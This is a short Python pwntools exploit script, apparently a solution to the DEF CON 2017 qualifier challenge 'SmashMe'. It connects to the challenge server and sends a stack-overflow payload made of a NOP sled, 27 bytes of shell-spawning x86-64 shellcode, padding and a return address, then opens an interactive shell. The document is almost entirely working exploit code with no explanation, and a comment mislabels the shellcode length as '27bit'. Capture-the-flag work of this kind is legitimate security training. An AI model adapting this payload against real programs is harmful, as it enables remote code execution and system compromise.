DEFCON_2017 - SmashMe

from pwn import *
s = remote("smashme_omgbabysfirst.quals.shallweplayage.me", 57348)
s.recv(1024)
 
payload  = "\x90"*6
payload += "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" 
 # shellcode 27bit
payload += "smash me outside how bout dAAAAAAAAAAA"
payload += "\x1b\x4e\x4c"
 
s.sendline(payload)
s.interactive()